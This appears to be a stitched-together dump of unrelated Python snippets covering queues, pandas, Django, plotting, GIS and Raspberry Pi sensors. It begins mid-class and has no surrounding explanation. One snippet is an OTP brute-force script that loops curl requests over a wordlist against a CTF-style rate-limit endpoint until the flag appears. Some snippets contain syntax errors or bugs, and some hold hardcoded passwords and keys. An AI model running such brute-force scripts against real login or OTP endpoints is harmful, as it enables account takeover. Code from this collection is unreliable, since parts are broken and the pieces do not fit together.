            previous.next = newNode
            newNode.next = current
        else:
            self.rear.next = newNode
            self.rear = newNode

    # Removes and returns the next item from the queue, which is the 
    # item with the highest priority. If two or more items have the 
    # same priority, those items are removed in FIFO order. An item 
    # cannot be dequeued from an empty queue. 
    def dequeue(self):
        if self.isEmpty():
            print('Queue is empty')
            return
        temp = self.front
        self.front = self.front.next
        if self.front == None:
            self.rear = None
        return temp.item
# A simple implementation of Priority Queue 
# using Queue. 
class PriorityQueue(object): 
    def __init__(self): 
        self.queue = [] 
  
    def __str__(self): 
        return ' '.join([str(i) for i in self.queue]) 
  
    # for checking if the queue is empty 
    def isEmpty(self): 
        return len(self.queue) == 0
  
    # for inserting an element in the queue 
    def insert(self, data): 
        self.queue.append(data) 
  
    # for popping an element based on Priority 
    def delete(self): 
        try: 
            max = 0
            for i in range(len(self.queue)): 
                if self.queue[i] > self.queue[max]: 
                    max = i 
            item = self.queue[max] 
            del self.queue[max] 
            return item 
        except IndexError: 
            print() 
            exit() 
split_col = pyspark.sql.functions.split(df['my_str_col'], '-')
df = df.withColumn('NAME1', split_col.getItem(0))
df = df.withColumn('NAME2', split_col.getItem(1))
gdown https://drive.google.com/uc?id=
# Customize the plot
ax.grid(1, ls='--', color='#777777', alpha=0.5, lw=1)
ax.tick_params(labelsize=12, length=0)
ax.set_axis_bgcolor('w')
# add a legend
leg = plt.legend( ['text'], loc=1 )
fr = leg.get_frame()
fr.set_facecolor('w')
fr.set_alpha(.7)
plt.draw()
 
import pylab as plt
import numpy as np

plt.style.use('ggplot')

fig = plt.figure(1)
ax = plt.gca()

# make some testing data
x = np.linspace( 0, np.pi, 1000 )
test_f = lambda x: np.sin(x)*3 + np.cos(2*x)

# plot the test data
ax.plot( x, test_f(x) , lw = 2)

# set the axis labels
ax.set_xlabel(r'$x$', fontsize=14, labelpad=10)
ax.set_ylabel(r'$f(x)$', fontsize=14, labelpad=25, rotation=0)

# set axis limits
ax.set_xlim(0,np.pi)

plt.draw()
 
def invoke_lambda_calculate_accounts(client_id):
    lambda_client = boto3.client('lambda')
    payload = {
        'client_id': client_id
    }
    response = lambda_client.invoke(
        FunctionName='arn:aws:lambda:sa-east-1:622978847361:function:calculate-accounts',
        InvocationType='RequestResponse',
        Payload=json.dumps(payload)
    )
    return response
pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org flask-wtf
pytest
pytest folder/path/
pytest --cov=app
py.test -k methodname -v
py.test file_name.py::test_name -v
# Import system modules
import os
import sys
import arcpy
# Set workspace
env.workspace = \\Client\H\Documents\RRC\Year_3\ARP\Data\soil_metadata_clip
# Set local variables
out_folder_path = "I:\ARW Data"
out_name = "soil_metadata_clip.gdb"
# Execute CreateFileGDB
arcpy.CreateFileGDB_management(out_folder_path, out_name)
import arcpy
from arcpy import env 
from arcpy.sa import * 
arcpy.env.workspace = r"I:\ARW_Data\Data\Raw_Data\Soil_Moisture\2011"
arcpy.env.overwriteOutput = True
arcpy.CheckOutExtension('Spatial')
mask = r"I:\ARW_Data\slc_90m_clip1"
arcpy.env.cellSize = r"I:\ARW_Data\slc_90m_clip2"
rasters = arcpy.ListRasters("*.tif", "TIF")
for raster in rasters:
 outraster = raster.replace('.tif','_clip.tif')
 arcpy.gp.ExtractByMask_sa(raster,mask,outraster)
df_mapping['_map'] = df_mapping['name']+df_mapping['address']
df_mapping.set_index('_map',inplace=True)

df_masked['_map'] = df_masked['name']+df_masked['address']
df_masked['company_name'] = df_masked['_map'].map(df_mapping['company_name'].to_dict())
def model(data, column_to_drop, type_of_model, n_neighbors=4):
    from sklearn.model_selection import train_test_split
    from sklearn.linear_model import LinearRegression
    from sklearn.metrics import r2_score
    from sklearn import linear_model
    X = data.drop([column_to_drop], axis=1) 
    y = data[column_to_drop]
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=100)
    if type_of_model == 'LinearRegressor':  
        lm = linear_model.LinearRegression()
        model = lm.fit(X_train,y_train)
        predictions  = lm.predict(X_test)
        print("The R2 of the linear model is: ",round(r2_score(y_test, predictions),3))
    if type_of_model == 'KNeighborsRegressor':
        from sklearn.neighbors import KNeighborsRegressor
        knn_model = KNeighborsRegressor(n_neighbors=n_neighbors) 
        knn_model.fit(X_train, y_train)
        knn_predictions = knn_model.predict(X_test)
        print("The R2 of the knn model is: ",round(r2_score(y_test, knn_predictions),3))  

model(data_copy, 'name_your_target_column', 'LinearRegressor')
model(data_copy, 'name_your_target_column', 'KNeighborsRegressor', n_neighbors=4)
data.isin([' ', '0', 0, '', np.nan]).sum()
for i in categoricals:
    print(i, categoricals[i].unique())

for i in categoricals:
    print(i, categoricals[i].isin(['', ' ', '0']).sum())

#check the null and 0 values per each categorical feature 
data_copy=data.copy()
data_copy.head()
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt

def bin_dist():
    test_list = [10, 100, 1000, 10000]
    for i in test_list:
        x = np.random.binomial(n=i, p=0.5, size=i)
        print('--',i,'--')
        sns.distplot(x)
        plt.show()
        
bin_dist()
data_copy["ts"] = data_copy["effective_to_date"].astype("int64")/1e9 
data_copy["ts"].iloc[1]
# the division exclude milliseconds bringing it down to seconds
In [1]: from datetime import datetime
In [2]: import dateutil.relativedelta
In [3]: today_date = datetime.now().date()
In [4]: today_date
Out[1]: datetime.date(2016, 7, 5)
In [5]: last_month = today_date - dateutil.relativedelta.relativedelta(months=1)
In [6]: last_mont_first_date = last_month.replace(day=1)
In [7]: last_mont_first_date
Out[2]: datetime.date(2016, 6, 1)
def delete_last_line():
    with open('test.txt', "r+", encoding="utf-8") as file:

        # Move the pointer (similar to a cursor in a text editor) to the end of the file
        file.seek(0, os.SEEK_END)

        # This code means the following code skips the very last character in the file -
        # i.e. in the case the last line is null we delete the last line
        # and the penultimate one
        pos = file.tell() - 1

        # Read each character in the file one at a time from the penultimate
        # character going backwards, searching for a newline character
        # If we find a new line, exit the search
        while pos > 0 and file.read(1) != "\n":
            pos -= 1
            file.seek(pos, os.SEEK_SET)

        # save value of last line
        value = file.readline()

        # So long as we're not at the start of the file, delete all the characters ahead
        # of this position
        if pos > 0:
            file.seek(pos, os.SEEK_SET)
            file.truncate()

        return value
import pandas as pd

sheets_dict = pd.read_excel('Book1.xlsx', sheetname=None)

full_table = pd.DataFrame()
for name, sheet in sheets_dict.items():
    sheet['sheet'] = name
    sheet = sheet.rename(columns=lambda x: x.split('\n')[-1])
    full_table = full_table.append(sheet)

full_table.reset_index(inplace=True, drop=True)

print full_table
df = pd.DataFrame(np.random.randint(32, 120, 100000).reshape(50000,2),columns=list('AB'))
df['A'] = df['A'].apply(chr)

%timeit dict(zip(df.A,df.B))
%timeit pd.Series(df.A.values,index=df.B).to_dict()
%timeit df.set_index('A').to_dict()['B']
pip install -Uqq fastbook

import fastbook
fastbook.setup_book()
from fastbook import *
from fastai.vision.widgets import *
from fastai.vision.all import *
path = untar_data(URLs.PASCAL_2007)
from time import gmtime, strftime

 strftime("%Y-%m-%d %H:%M:%S", gmtime())
'2009-01-05 22:14:39'

import os
import glob

# read the ds18b20 sensor 
os.system('modprobe w1-gpio')
os.system('modprobe w1-therm')
 
base_dir = '/sys/bus/w1/devices/'
device_folder = glob.glob(base_dir + '28*')[0]
device_file = device_folder + '/w1_slave'

def read_temp_raw():
    f = open(device_file, 'r')
    lines = f.readlines()
    f.close()
    return lines
 
def read_temp():
    lines = read_temp_raw()
    while lines[0].strip()[-3:] != 'YES':
        time.sleep(0.2)
        lines = read_temp_raw()
    equals_pos = lines[1].find('t=')
    if equals_pos != -1:
        temp_string = lines[1][equals_pos+2:]
        temp_c = float(temp_string) / 1000.0
        temp_f = temp_c * 9.0 / 5.0 + 32.0
        return temp_c, temp_f
 
from gpiozero import CPUTemperature

# get the temperature of the CPU of the Raspberry
def getRaspiCpuTemperature():
    tempFile = open("/sys/class/thermal/thermal_zone0/temp")
    cpu_temp = tempFile.read()
    tempFile.close()
    return (float(cpu_temp) / 1000)

# get the temperature of the CPU of the Raspberry
# with gpiozero
def getRaspiCpuTemperature02():
    gpiozero_cpu = CPUTemperature()
    return (gpiozero_cpu.temperature)
import socket

# get the current IP adress
def get_ip_adress():
   ip_address = '';
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   s.connect(("8.8.8.8",80))
   ip_address = s.getsockname()[0]
   s.close()
   return (ip_address)           
from bs4 import BeautifulSoup, Tag
import re

data = '''<div>
<a href="link_1">Link 1</a>
<a href="link_2">Link 1</a>
<a href="link_XXX">Link 1</a>
<a href="link_3">Link 1</a>
</div>'''

soup = BeautifulSoup(data, 'lxml')

class my_regex_searcher:
    def __init__(self, regex_string):
        self.__r = re.compile(regex_string)
        self.groups = []

    def __call__(self, what):
        if isinstance(what, Tag):
            what = what.name

        if what:
            g = self.__r.findall(what)
            if g:
                self.groups.append(g)
                return True
        return False

    def __iter__(self):
        yield from self.groups

searcher = my_regex_searcher(r'link_(\d+)')
for l, groups in zip(soup.find_all(href=searcher), searcher):
    print(l)
    print(groups)

searcher = my_regex_searcher(r'(d)(i)(v)')
for l, groups in zip(soup.find_all(searcher), searcher):
    print(l.prettify())
    print(groups)
listOfSeries = []

for df in dfs:
	listOfSeries.append(df[df.columns[0]])

# df.iloc[:, 0]
# df[df.columns[0]]

newDF = pd.concat(listOfSeries, axis=1)
//template

{% for contact in page_obj %}
    {# Each "contact" is a Contact model object. #}
    {{ contact.full_name|upper }}<br>
    ...
{% endfor %}

<div class="pagination">
    <span class="step-links">
        {% if page_obj.has_previous %}
            <a href="?page=1">&laquo; first</a>
            <a href="?page={{ page_obj.previous_page_number }}">previous</a>
        {% endif %}

        <span class="current">
            Page {{ page_obj.number }} of {{ page_obj.paginator.num_pages }}.
        </span>

        {% if page_obj.has_next %}
            <a href="?page={{ page_obj.next_page_number }}">next</a>
            <a href="?page={{ page_obj.paginator.num_pages }}">last &raquo;</a>
        {% endif %}
    </span>
</div>
         

//views.py
         
from django.core.paginator import Paginator
from django.shortcuts import render

from myapp.models import Contact

def listing(request):
    contact_list = Contact.objects.all()
    paginator = Paginator(contact_list, 25) # Show 25 contacts per page.

    page_number = request.GET.get('page')
    page_obj = paginator.get_page(page_number)
    return render(request, 'list.html', {'page_obj': page_obj})       
{% if request.resolver_match.url_name == 'home' %} active {% endif %}
Path(BASE_DIR, 'templates')
admin.site.site_header = 'WISEMAN'
    def __str__(self):
        return self.title
//inside the class on the model

class Meta: 
        verbose_name = "Movie"
        verbose_name_plural = "Movies"
//settings.py

STATICFILES_DIRS = [
    BASE_DIR, "static",
]

//urls.py

from django.conf import settings
from django.conf.urls.static import static

 + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
//settings.py

MEDIA_ROOT = Path(BASE_DIR, 'media/')

//main urls.py

from django.conf import settings
from django.conf.urls.static import static

urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
# me - this DAT
# scriptOp - the OP which is cooking

# press 'Setup Parameters' in the OP to call this function to re-create the parameters.
def onSetupParameters(scriptOp):
	page = scriptOp.appendCustomPage('Parameters')
	p = page.appendInt('Par1', label='ParA')
	p = page.appendFloat('Par2', label='ParB')
	return
		
# called whenever custom pulse parameter is pushed
def onPulse(par):
	return

def onCook(scriptOp):
	scriptOp.clear()
	
	#Declare Variables
	samples = scriptOp.par.Samples

	# Assign Samples to CHOP
	scriptOp.numSamples = samples

	#Calculate Step Size

	# Append output channels
	tx = scriptOp.appendChan('tx')
	ty = scriptOp.appendChan('ty')
	tz = scriptOp.appendChan('tz')

	#Assign Value to channels Implementing the Parametric Equation
	return
import os
def split(word): 
    return [char for char in word] 
f1=open('wordlist.txt','r')
invalid_response=os.popen('curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "digit_1=1&digit_2=2&digit_3=3&digit_4=4" --silent').read()
numbers=f1.read().splitlines()
for i in numbers:
    temp=split(i)
    smallpayload="digit_1="+temp[0]+"&digit_2="+temp[1]+"&digit_3="+temp[2]+"&digit_4="+temp[3]
    payload= 'curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "'+smallpayload+'" --silent '
    print("Testing OTP",temp[0],temp[1],temp[2],temp[3])
    # print(payload)
    response=os.popen(payload).read()
    if(response!=invalid_response):
        print("Correct OTP IS ",temp[0],temp[1],temp[2],temp[3])
        print("Flag Is : ",response)
        exit(0)

def combinations(n, k):
    '''
    Returns the number of ways you can choose k items out of n if order does not matter

    Parameters:
    ----------
    n: (int)
    k: (int)

    Returns:
    ----------
    Returns the number of combinations of k items out of n.
    '''
    import math
    combs = math.factorial(n)/(math.factorial(k)*math.factorial(n-k))
    return combs

def poisson_pmf(lmbda, k) : 
    return (lmbda**k * e**(-lmbda)) / factorial(k) 
print(poisson_pmf(3, 2)) #0.22404180765538778
import json

with open('data.txt') as json_file:
    data = json.load(json_file)
    for p in data['people']:
        print('Name: ' + p['name'])
        print('Website: ' + p['website'])
        print('From: ' + p['from'])
        print('')
import json

data = {}
data['people'] = []
data['people'].append({
    'name': 'Scott',
    'website': 'stackabuse.com',
    'from': 'Nebraska'
})
data['people'].append({
    'name': 'Larry',
    'website': 'google.com',
    'from': 'Michigan'
})

with open('data.txt', 'w') as outfile:
    json.dump(data, outfile)
def get_stats(account_email, account_password):
	print("Getting stats for account %s" % account_email)
	chrome_options = Options() 
	# chrome_options.add_argument("--headless")
	path_to_driver = os.path.join(
		os.path.dirname(os.path.dirname(os.getcwd())), "chromedriver.exe")
	driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options)
	# login
	driver.get("https://www.tumblr.com/login")
	driver.set_window_size(1294, 1400)
	driver.find_element(By.ID, "signup_determine_email").send_keys("youremailaddress")
	driver.find_element(By.ID, "signup_determine_email").send_keys(Keys.ENTER)
	time.sleep(1)
	driver.find_element(By.LINK_TEXT, "Use password to log in").click()
	time.sleep(1)
	driver.find_element(By.ID, "signup_password").send_keys("yourpassword")
	driver.find_element(By.ID, "signup_password").send_keys(Keys.ENTER)
import gspread
from oauth2client.service_account import ServiceAccountCredentials
from datetime import date

def upload_stat_data_to_google_sheets(email, posts_in_queue, followers):
	scope = ["https://spreadsheets.google.com/feeds", 'https://www.googleapis.com/auth/spreadsheets',
		"https://www.googleapis.com/auth/drive.file", "https://www.googleapis.com/auth/drive"]

	creds = ServiceAccountCredentials.from_json_keyfile_name(
		os.path.join(os.getcwd(), 'stat_scraper',"google_cloud_credentials.json"), scope)

	client = gspread.authorize(creds)

	sheet = client.open("automation_stats").sheet1
	analytics = client.open("automation_stats").worksheet("analytics")
	data = sheet.get_all_records()
	current_date = date.today().strftime('%d.%m.%y')
	row_to_insert = [[current_date, email, posts_in_queue, followers]]	
	sheet.append_rows(row_to_insert)
logging.basicConfig(
  level="INFO",
  format="%(asctime)s   (%(filename)s:%(lineno)s) %(levelname)s - %(message)s",
  datefmt="%Y-%m-%d - %H:%M:%S"
)
time = "01:34:11"
sum(x * int(t) for x, t in zip([3600, 60, 1], time.split(":"))) 
return sorted(list_of_dicts, key=lambda e: e['dict_key'], reverse=True)
In [2]: read_csv('sample.csv', dtype={'ID': object})
Out[2]: 
                           ID
0  00013007854817840016671868
1  00013007854817840016749251
2  00013007854817840016754630
3  00013007854817840016781876
4  00013007854817840017028824
5  00013007854817840017963235
6  00013007854817840018860166
1
2
3
4
5
6
a = [[1, 2, 3, 4], [5, 6], [7, 8, 9]]
for i in range(len(a)):
    for j in range(len(a[i])):
        print(a[i][j], end=' ')
    print()
pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U
# open a json file for reading and print content using json.load
with open("/xyz/json_data.json", "r") as content:
  print(json.load(content))

# If we want to use json.loads():

with open("json_data.json", "r") as content:
  print(json.loads(content.read()))
def factorial(n):
  if n == 0:
    return 1
  else:
    return n * factorial(n - 1)
print(factorial(5))
#This is a code comment and anything we put after the # will not run
#print(5) should return 5 but because it is in a comment it wont show up
# Python program to illustrate 
# not 'in' operator 
x = 24
y = 20
list = [10, 20, 30, 40, 50 ]; 

if ( x not in list ): 
	print("x is NOT present in given list") 
else: 
	print("x is present in given list") 

if ( y in list ): 
	print("y is present in given list") 
else: 
	print("y is NOT present in given list") 

# Python program to illustrate 
# Finding common member in list  
# using 'in' operator 
list1=[1,2,3,4,5] 
list2=[6,7,8,9] 
for item in list1: 
    if item in list2: 
        print("overlapping")       
else: 
    print("not overlapping") 
>>> [a+b for a,b in re.findall('id_([a-z]+)|num([0-9]+)', s)]
['john', '847']
import glob
import os

list_of_files = glob.glob('/path/to/folder/*') # * means all if need specific format then *.csv
latest_file = max(list_of_files, key=os.path.getctime)
print latest_file
(df.groupby('name')['ext price']
 .agg(['mean', 'sum'])
 .style.format('${0:,.2f}'))
'${:,.2f}'.format(dfCombined['Amount'].sum())
In [8]: from bs4 import BeautifulSoup

In [9]: from selenium import webdriver

In [10]: driver = webdriver.Firefox()

In [11]: driver.get('http://news.ycombinator.com')

In [12]: html = driver.page_source

In [13]: soup = BeautifulSoup(html)

In [14]: for tag in soup.find_all('title'):
   ....:     print tag.text
   ....:     
   ....:     
Hacker News
import bs4

html = """<div class="someClass">
    <a href="href">
        <img alt="some" src="some"/>
    </a>
</div>"""

soup = bs4.BeautifulSoup(html, "html.parser")

# this will return src attrib from img tag that is inside 'a' tag
soup.a.img['src']

>>> 'some'

# if you have more then one 'a' tag
for a in soup.find_all('a'):
    if a.img:
        print(a.img['src'])

>>> 'some'
my_dict = {"color": "red", "width": 17, "height": 19}
value_to_find = "red"

# Brute force solution (fastest) -- single key
for key, value in my_dict.items():
    if value == value_to_find:
        print(f'{key}: {value}')
        break

# Brute force solution -- multiple keys
for key, value in my_dict.items():
    if value == value_to_find:
        print(f'{key}: {value}')

# Generator expression -- single key
key = next(key for key, value in my_dict.items() if value == value_to_find)
print(f'{key}: {value_to_find}')

# Generator expression -- multiple keys
exp = (key for key, value in my_dict.items() if value == value_to_find)
for key in exp:
    print(f'{key}: {value}')

# Inverse dictionary solution -- single key
my_inverted_dict = {value: key for key, value in my_dict.items()}
print(f'{my_inverted_dict[value_to_find]}: {value_to_find}')

# Inverse dictionary solution (slowest) -- multiple keys
my_inverted_dict = dict()
for key, value in my_dict.items():
    my_inverted_dict.setdefault(value, list()).append(key)
print(f'{my_inverted_dict[value_to_find]}: {value_to_find}')
my_dict = {
  'Izuku Midoriya': 'One for All', 
  'Katsuki Bakugo': 'Explosion', 
  'All Might': 'One for All', 
  'Ochaco Uraraka': 'Zero Gravity'
}

# Use to invert dictionaries that have unique values
my_inverted_dict = dict(map(reversed, my_dict.items()))

# Use to invert dictionaries that have unique values
my_inverted_dict = {value: key for key, value in my_dict.items()}

# Use to invert dictionaries that have non-unique values
from collections import defaultdict
my_inverted_dict = defaultdict(list)
{my_inverted_dict[v].append(k) for k, v in my_dict.items()}

# Use to invert dictionaries that have non-unique values
my_inverted_dict = dict()
for key, value in my_dict.items():
    my_inverted_dict.setdefault(value, list()).append(key)

# Use to invert dictionaries that have lists of values
my_dict = {value: key for key in my_inverted_dict for value in my_inverted_dict[key]}
yusuke_power = {"Yusuke Urameshi": "Spirit Gun"}
hiei_power = {"Hiei": "Jagan Eye"}
powers = dict()

# Brute force
for dictionary in (yusuke_power, hiei_power):
    for key, value in dictionary.items():
        powers[key] = value

# Dictionary Comprehension
powers = {key: value for d in (yusuke_power, hiei_power) for key, value in d.items()}

# Copy and update
powers = yusuke_power.copy()
powers.update(hiei_power)

# Dictionary unpacking (Python 3.5+)
powers = {**yusuke_power, **hiei_power}

# Backwards compatible function for any number of dicts
def merge_dicts(*dicts: dict):
    merged_dict = dict()
    for dictionary in dicts:
        merge_dict.update(dictionary)
    return merged_dict

# Dictionary union operator (Python 3.9+ maybe?)
powers = yusuke_power | hiei_power
virtualenv env

# linux
source env/bin/activate

#windows
env\Scripts\activate.bat

deactivate
from flask import Flask,render_template,request, redirect
 
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 'dajdsjas'
 
 
@app.route('/home')
def home():
    return 'Home page'
 
 
 
@app.route('/take_parameter', methods = ["POST"])
def takeparam():
    try:
        pas = request.args(silent=True)
        #app.logger.info(json)
        return 'OK'
    except:
        return 'INTERNAL ERROR', 500
    
 
@app.route('/take_json', methods = ["POST"])
def takejson():
    try:
        pas = request.get_json(silent=True)
        #app.logger.info(json)
        return 'OK'
    except:
        return 'INTERNAL ERROR', 500
    
if __name__ =='__main__':
    app.run(debug=True)
 
# Works with matplotlib and seaborn

%config InlineBackend.figure_format ='retina'
from IPython.core.interactiveshell import InteractiveShell
InteractiveShell.ast_node_interactivity = "all"
from itertools import zip_longest
l1=[1,2,3,4,5,6,7]
l2=['a','b','c','d']
d1=zip_longest(l1,l2,fillvalue='x')
print (d1)#Output:<itertools.zip_longest object at 0x00993C08>
#Converting zip object to dict using dict() contructor.
print (dict(d1))
#Output:{1: 'a', 2: 'b', 3: 'c', 4: 'd', 5: 'x', 6: 'x', 7: 'x'}
from time import strptime
month_name = 'Jan'
month_number = strptime(month_name, '%b').tm_mon
month_number

'''
%a  Locale’s abbreviated weekday name.    
%A  Locale’s full weekday name.    
%b  Locale’s abbreviated month name.  
%B  Locale’s full month name.      
%c  Locale’s appropriate date and time representation.    
%d  Day of the month as a decimal number [01,31].    
%f  Microsecond as a decimal number [0,999999], zero-padded on the left     (1)
%H  Hour (24-hour clock) as a decimal number [00,23].    
%I  Hour (12-hour clock) as a decimal number [01,12].    
%j  Day of the year as a decimal number [001,366].  
%m  Month as a decimal number [01,12].  
%M  Minute as a decimal number [00,59].      
%p  Locale’s equivalent of either AM or PM.   (2)
%S  Second as a decimal number [00,61].     (3)
%U  Week number of the year (Sunday as the first day of the week) as a decimal number [00,53]. All days in a new year preceding the first Sunday are considered to be in week 0.    (4)
%w  Weekday as a decimal number [0(Sunday),6].  
%W  Week number of the year (Monday as the first day of the week) as a decimal number [00,53]. All days in a new year preceding the first Monday are considered to be in week 0.    (4)
%x  Locale’s appropriate date representation.      
%X  Locale’s appropriate time representation.      
%y  Year without century as a decimal number [00,99].    
%Y  Year with century as a decimal number.  
%z  UTC offset in the form +HHMM or -HHMM (empty string if the the object is naive).    (5)
%Z  Time zone name (empty string if the object is naive).    
%%  A literal '%' character.
'''
>>> mydict = {'one': [1,2,3], 2: [4,5,6,7], 3: 8}

>>> dict_df = pd.DataFrame({ key:pd.Series(value) for key, value in mydict.items() })

>>> dict_df

   one  2    3
0  1.0  4  8.0
1  2.0  5  NaN
2  3.0  6  NaN
3  NaN  7  NaN
import re 
s = "string. With. Punctuation?" 
s = re.sub(r'[^\w\s]','',s) 
import os  
path="abc.txt"  
if os.path.isdir(path):  
    print("\nIt is a directory")  
elif os.path.isfile(path):  
    print("\nIt is a normal file")  
else:  
    print("It is a special file (socket, FIFO, device file)" )
print()


df['column_name'] = pd.to_datetime(df['column_name'])
# new version
df.groupby(pd.Grouper(key='column_name', freq="M")).mean().plot()
start_time = time.clock()
result = 0
for row in df.itertuples(index=False):
    result += max(row[df.columns.get_loc('B')], row[df.columns.get_loc('C')])

total_elapsed_time = round(time.clock() - start_time, 2)
print("4. Polyvalent Itertuples working even with special characters in the column name done in {} seconds, result = {}".format(total_elapsed_time, result))
import pkg_resources, string
from symspellpy import SymSpell, Verbosity

spell = SymSpell(max_dictionary_edit_distance=2, prefix_length=7)
dictionary_path = pkg_resources.resource_filename('symspellpy', 'frequency_dictionary_en_82_765.txt')
spell.load_dictionary(dictionary_path, term_index=0, count_index=1)

def correct(w):
  word = w
  o = spell.lookup(w,
    Verbosity.CLOSEST,
    max_edit_distance=2,
    transfer_casing=True)
  if not o: return w
  word = o[0].term
  if w[0].isupper():
    word = word[0].upper() + ''.join(word[1:])
  # find start punctuation
  start_idx = 0
  start_punct = ''
  while w[start_idx] in string.punctuation:
    start_punct += w[start_idx]
    if start_idx + 1 < len(w):
      start_idx += 1
    else:
      break
  # find end punctuation
  end_idx = 1
  end_punct = ''
  while w[-end_idx] in string.punctuation:
    end_punct += w[-end_idx]
    if end_idx - 1 > 0:
      end_idx -= 1
    else:
      break
  return start_punct + word + end_punct

s = '''Now that we have carried our geographical analogy quite far, we return to the uestion of isomorphisms between brains. You might well wonder why this whole uestion of brain isomorphisms has been stressed so much. What does it matter if two rains are isomorphic, or quasi-isomorphic, or not isomorphic at all? The answer is that e have an intuitive sense that, although other people differ from us in important ways, hey are still "the same" as we are in some deep and important ways. It would be nstructive to be able to pinpoint what this invariant core of human intelligence is, and hen to be able to describe the kinds of "embellishments" which can be added to it, aking each one of us a unique embodiment of this abstract and mysterious quality alled "intelligence".'''
cleaned = ' '.join([correct(w) for w in s.split()])
print(cleaned)
phrase = input("Choose your phrase:")
def translate(phrase):
    for letter in phrase:
        if letter in "C":
            letter = phrase.replace("C","b")
        if letter in "c":
            letter = phrase.replace("c","b")
        else:
            letter = phrase
        return letter
print(translate(phrase))
def getFactorialit (n):
	if n < 0, return -1
    else fact = 1
    for i in range (1, n +1):
    	fact *=i
    return fact
    
print getFactorialit(10)
    
desired_tab = driver.current_window_handle  #storing the handle in a variable
if driver.current_window_handle != desired_tab:
   driver.switch_to_window(desired_tab)  #switching to the tab in case it's not
my_classifiers = {'logit': '<trained_logit_here>',
                  'KNN' : '<trained_KNN_here>'
                  }
pickle._dump(my_classifiers, open(filename, 'wb'))

loaded_classifiers = pickle.load(open(filename, 'rb'))
logit_model = loaded_classifiers['logit']
knn_model = loaded_classifiers['KNN']

results = logit_model.predict(X)
x = tf.placeholder(tf.int16, shape=(), name='ha')
y = tf.placeholder(tf.int16, shape=(), name='ho')

add = tf.add(x, y)
mul = tf.multiply(x, y)
# creates a list of numbers

numbers = ['1','2','3','4','5','6','7','8','9','0'] 

# a function that removes the string characters such as "$" or "," by using the list created above

def convertToInt(column):
    return int(''.join(filter(lambda x: x in numbers, column)))
import datetime
import dateutil.relativedelta

d = datetime.datetime.strptime("2013-03-31", "%Y-%m-%d")
d2 = d - dateutil.relativedelta.relativedelta(months=1)
print d2
from pyspark.sql import SparkSession
spark = SparkSession.builder.appName('abc').getOrCreate()
import datetime

def last_day_of_month(any_day):
    next_month = any_day.replace(day=28) + datetime.timedelta(days=4)  # this will never fail
    return next_month - datetime.timedelta(days=next_month.day)
from datetime import datetime, timedelta

d = datetime.today() - timedelta(days=days_to_subtract)
>>> from enum import Enum
>>> class Build(Enum):
...   debug = 200
...   build = 400
... 

Build['debug']

df.set_index(KEY).to_dict()[VALUE]

3 ways:
dict(zip(df.A,df.B))
pd.Series(df.A.values,index=df.B).to_dict()
df.set_index('A').to_dict()['B']
def isfloat(value):
  try:
    float(value)
    return True
  except ValueError:
    return False
f = open('test.json')
json_file = json.load(f)
import pandas as pd

data_dict = {'one': pd.Series([1, 2, 3], index=['a', 'b', 'c']),
             'two': pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])}

df = pd.DataFrame(data_dict)

print(f"DataFrame:\n{df}\n")
print(f"column types:\n{df.dtypes}")

col_one_list = df['one'].tolist()

col_one_arr = df['one'].to_numpy()

print(f"\ncol_one_list:\n{col_one_list}\ntype:{type(col_one_list)}")
print(f"\ncol_one_arr:\n{col_one_arr}\ntype:{type(col_one_arr)}")
df = pd.DataFrame([
    [-0.532681, 'foo', 0],
    [1.490752, 'bar', 1],
    [-1.387326, 'foo', 2],
    [0.814772, 'baz', ' '],     
    [-0.222552, '   ', 4],
    [-1.176781,  'qux', '  '],         
], columns='A B C'.split(), index=pd.date_range('2000-01-01','2000-01-06'))

# replace field that's entirely space (or empty) with NaN
print(df.replace(r'^\s*$', np.nan, regex=True))
df = pd.DataFrame([
    [-0.532681, 'foo', 0],
    [1.490752, 'bar', 1],
    [-1.387326, 'foo', 2],
    [0.814772, 'baz', ' '],     
    [-0.222552, '   ', 4],
    [-1.176781,  'qux', '  '],         
], columns='A B C'.split(), index=pd.date_range('2000-01-01','2000-01-06'))

# replace field that's entirely space (or empty) with NaN
print(df.replace(r'^\s*$', np.nan, regex=True))
nov_mask = df['Dates'].map(lambda x: x.month) == 11
df[nov_mask]

nov_mar_series = pd.Series(pd.date_range("2013-11-15", "2014-03-15"))
#create timestamp without year
nov_mar_no_year = nov_mar_series.map(lambda x: x.strftime("%m-%d"))
#add a yearless timestamp to the dataframe
df["no_year"] = df['Date'].map(lambda x: x.strftime("%m-%d"))
no_year_mask = df['no_year'].isin(nov_mar_no_year)
df[no_year_mask]
from redis.sentinel import Sentinel
sentinel = Sentinel([
    ('192.168.77.130',26379),
    ('192.168.77.130',26380),
    ('192.168.77.130',26381),
],sentinel_kwargs={'password': '123456'}) 

sentinel.discover_master('lerep')
 # single column:
 if `A` in df and `B` in df:
 
 
 # multiple columns:
 pd.Series(['A', 'B']).isin(df.columns).all()
import re
if re.match(r"hello[0-9]+", 'hello1'):
    print('Yes')
import pandas as pd
from datetime import datetime

ps = pd.Series([datetime(2014, 1, 7), datetime(2014, 3, 13), datetime(2014, 6, 12)])
new = ps.apply(lambda dt: dt.replace(day=1))
all_data['Order Day new'] = all_data['Order Day new'].dt.strftime('%Y-%m-%d')
def ffill_cols(df, cols_to_fill_name='Unn'):
    """
    Forward fills column names. Propagate last valid column name forward to next invalid column. Works similarly to pandas
    ffill().
    
    :param df: pandas Dataframe; Dataframe
    :param cols_to_fill_name: str; The name of the columns you would like forward filled. Default is 'Unn' as
    the default name pandas gives unnamed columns is 'Unnamed'
    
    :returns: list; List of new column names
    """
    cols = df.columns.to_list()
    for i, j in enumerate(cols):
        if j.startswith(cols_to_fill_name):
            cols[i] = cols[i-1]
    return cols
>>> from operator import add
>>> list( map(add, list1, list2) )
